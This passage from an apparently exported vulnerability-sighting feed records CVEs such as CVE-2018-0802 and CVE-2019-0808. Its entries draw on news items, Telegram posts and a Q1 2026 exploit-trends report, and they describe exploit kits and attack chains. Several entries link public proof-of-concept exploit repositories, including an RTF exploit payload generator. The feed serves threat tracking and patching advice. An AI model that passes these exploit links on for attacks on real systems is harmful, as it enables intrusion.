embedded decoy documents, and several campaigns featuring such documents were observed that month. The documents would perform an initial check-in to the command and control (C&C) server, a tactic also used by MWI. \nThe documents were targeting CVE-2017-0199 and were focused on downloading and executing a HTA file that would then download the decoy and a malicious VB script to extract and run the embedded executable. The payload was Smoke Loader, which in turn downloaded banking malware.\nIn October, ThreadKit started targeting CVE 2017-8759 as well, but continued to use the initial C&C check-in and the HTA file to execute the embedded executable, Proofpoint says (https://www.proofpoint.com/us/threat-insight/post/unraveling-ThreadKit-new-document-exploit-builder-distribute-The-Trick-Formbook-Loki-Bot-malware). However, changes were made to the manner in which the exploit documents operate and new exploits were integrated as well. \nIn November, ThreadKit was quick to incorporate exploits for new Microsoft Office vulnerabilities, and started being advertised as capable of targeting CVE 2017-11882 too. Soon after, campaigns that featured the previously observed check-in already started to emerge. \nIn February and March 2018, the kit was embedding new exploits, targeting vulnerabilities such as an Adobe Flash zero-day (CVE-2018-4878) and several new Microsoft office vulnerabilities, including CVE-2018-0802 and CVE-2017-8570. \nAt the same time, the researchers noticed a large spike in email campaigns featuring ThreadKit-generated Office attachments packing these exploits. The exploits appear copied from proofs of concept available on a researcher\u2019s GitHub repo. \nAs part of these attacks, the attachments would drop the contained packager objects into the temp folder, then the exploits would execute the dropped scriptlet file, thus leading to the execution of the dropped batch files, which in turn run the executable.\nProofpoint found that not all ThreadKit documents contain a valid URL for the statistics check-in (some contain placeholder URLs). Furthermore, not all documents followed the same execution chain, with some scripts modified to perform other actions, a customization that may be provided as a service by the kit author.\n\u201cIn 2017, several new vulnerabilities entered regular use by threat actors and the first months of 2018 have added to that repertoire. Document exploit builder kits like ThreadKit enable even low-skilled threat actors to take advantage of the latest vulnerabilities to distribute malware. Organizations and individuals can mitigate the risk from ThreadKit and other document exploit-based attacks by ensuring that clients are patched for the latest vulnerabilities in Microsoft office and other applications,\u201d Proofpoint concludes. \nRelated: Microsoft Patches Zero-Day Vulnerability in Office\nRelated: Microsoft Manually Patched Office Component: Researchers", "creation_timestamp": "2018-03-27T17:57:22.000000Z"}, {"uuid": "c5958dce-066f-44ef-bd74-0d7351252d69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "exploited", "source": "https://t.me/information_security_channel/25550", "content": "Details of Actively Exploited Windows Flaw Made Public\nhttp://feedproxy.google.com/~r/Securityweek/~3/-zgnJRxjNNY/details-actively-exploited-windows-flaw-made-public\n\nResearchers from Chinese cybersecurity firm Qihoo 360 have made public technical details that can be used to construct a proof-of-concept (PoC) exploit for CVE-2019-0808, a recently patched Windows vulnerability that has been involved in targeted attacks.\nread more (https://www.securityweek.com/details-actively-exploited-windows-flaw-made-public)", "creation_timestamp": "2019-03-15T08:44:27.000000Z"}, {"uuid": "e5047a9c-d27e-4c08-9fd3-76e28ee686a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/thehackernews/6093", "content": "\ud83d\uded1 Cloud Atlas is deploying VBShower and PowerShower\u2014malware that operates in stages, infiltrating networks and harvesting credentials. \n \n\ud83d\udcc2 Quick Actions: \n\u2714\ufe0f Patch outdated vulnerabilities like CVE-2018-0802 immediately \n\u2714\ufe0f Monitor for unusual cloud storage activity \n\u2714\ufe0f Deploy advanced monitoring tools for NTFS file changes. \n\u2714\ufe0f Conduct phishing simulations to bolster employee awareness. \n \nFind details here: https://thehackernews.com/2024/12/cloud-atlas-deploys-vbcloud-malware.html", "creation_timestamp": "2024-12-27T12:25:26.000000Z"}, {"uuid": "a3ebc553-21fc-4309-b719-170d6929af0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/canyoupwnme/3661", "content": "CVE-2017-8570 and CVE-2018-0802 exploits being used to spread LokiBot\nhttps://www.zscaler.com/blogs/research/cve-2017-8570-and-cve-2018-0802-exploits-being-used-spread-lokibot", "creation_timestamp": "2018-04-28T00:27:03.000000Z"}, {"uuid": "2ba75217-62c7-4c18-a1ed-be1500909183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "https://t.me/canyoupwnme/3025", "content": "The Bug That Killed Equation Editor - How We Found, Exploited And Micropatched It (CVE-2018-0802)\nhttps://0patch.blogspot.com.tr/2018/01/the-bug-that-killed-equation-editor-how.html", "creation_timestamp": "2018-01-12T22:03:40.000000Z"}, {"uuid": "2e074ac5-ce92-425a-926c-3043b28b02cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "published-proof-of-concept", "source": "https://t.me/SecLabNews/4478", "content": "\u0412 \u0447\u0435\u0442\u0432\u0435\u0440\u0433, 14 \u043c\u0430\u0440\u0442\u0430, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Qihoo 360 Core \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Windows 7 (CVE-2019-0808), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 Google \u0432 \u043a\u043e\u043d\u0446\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 Microsoft \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u0433\u043e \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb.    \n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Windows 7", "creation_timestamp": "2019-03-14T15:48:43.000000Z"}, {"uuid": "d0f207eb-7d02-4d39-8445-67c1ef46ecb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "published-proof-of-concept", "source": "https://t.me/DC8044_Info/236", "content": "https://github.com/ExpLife0011/CVE-2019-0803 #lpe", "creation_timestamp": "2019-05-20T21:55:46.000000Z"}, {"uuid": "60f10205-03fb-49bf-80d2-1e4f100b0389", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "Telegram/V1HdJIL4JCLUEE5wbCfm6IRtLRhhrscJwVVe9_woeQfAQwed", "content": "", "creation_timestamp": "2021-08-17T13:01:03.000000Z"}, {"uuid": "38b23d1c-31a2-416a-b123-df9b8bc6d135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/60", "content": "#exploit\nNew vulnerabilities in Microsoft products\n\n1. CVE-2018-0802:\nEquation Editor in MS Office 2007, 2010, 2013, 2016 - RCE\nhttps://github.com/zldww2011/CVE-2018-0802_POC\n]-> https://github.com/rxwx/CVE-2018-0802\nGenerate RTF exploit payload uses CVE-2017-11882, CVE-2017-8570, CVE-2018-0802, CVE-2018-8174\nhttps://github.com/dcsync/rtfkit\n\n2. CVE-2018-0824:\nRCE in \"Microsoft COM for Windows\"\nhttps://github.com/codewhitesec/UnmarshalPwn\n// This affects Win7, 8.1, 10, RT 8.1, Server 2012 R2, 2008/2008 R2, 2012, 2016\n\n3. CVE-2018-0886:\nCredSSP protocol in MS Windows Server 2008 SP2/R2 SP1, Win7 SP1, 8.1, RT 8.1, Server 2012/R2, Win10 Gold, 1511, 1607, 1703, 1709, Server 2016, 1709 - RCE\nhttps://github.com/preempt/credssp", "creation_timestamp": "2024-10-10T21:06:31.000000Z"}, {"uuid": "7d7656bb-d3ac-4395-bb7b-c7b5ffbc7f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/316", "content": "#exploit\n1. CVE-2019-0785:\nA memory corruption vulnerability exists in the Windows Server DHCP service when an attacker sends specially crafted packets to a DHCP failover server\nhttps://github.com/Jaky5155/CVE-2019-0785 \n\n2. CVE-2019-0803:\nAn elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory\nhttps://github.com/ExpLife0011/CVE-2019-0803 \n\n3. CVE-2019-0808:\nAn EoP vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory\nhttps://github.com/ze0r/cve-2019-0808-poc\nhttps://github.com/rakesh143/CVE-2019-0808", "creation_timestamp": "2022-07-04T11:34:37.000000Z"}, {"uuid": "44f599f4-d209-4692-ba86-9add18223468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/316", "content": "#exploit\n1. CVE-2019-0785:\nA memory corruption vulnerability exists in the Windows Server DHCP service when an attacker sends specially crafted packets to a DHCP failover server\nhttps://github.com/Jaky5155/CVE-2019-0785 \n\n2. CVE-2019-0803:\nAn elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory\nhttps://github.com/ExpLife0011/CVE-2019-0803 \n\n3. CVE-2019-0808:\nAn EoP vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory\nhttps://github.com/ze0r/cve-2019-0808-poc\nhttps://github.com/rakesh143/CVE-2019-0808", "creation_timestamp": "2022-07-04T11:34:37.000000Z"}, {"uuid": "fefe8733-8df4-4c46-abd4-b225d44c60c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:23.077482Z"}, {"uuid": "646b6bc3-ba28-4667-ac53-294ae03ea87c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/298fe54c-2127-4e44-90dc-047a9d882845", "content": "", "creation_timestamp": "2026-05-07T21:13:27.000000Z"}, {"uuid": "9b5aea22-640f-44bf-bab5-ccc63cd7d2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 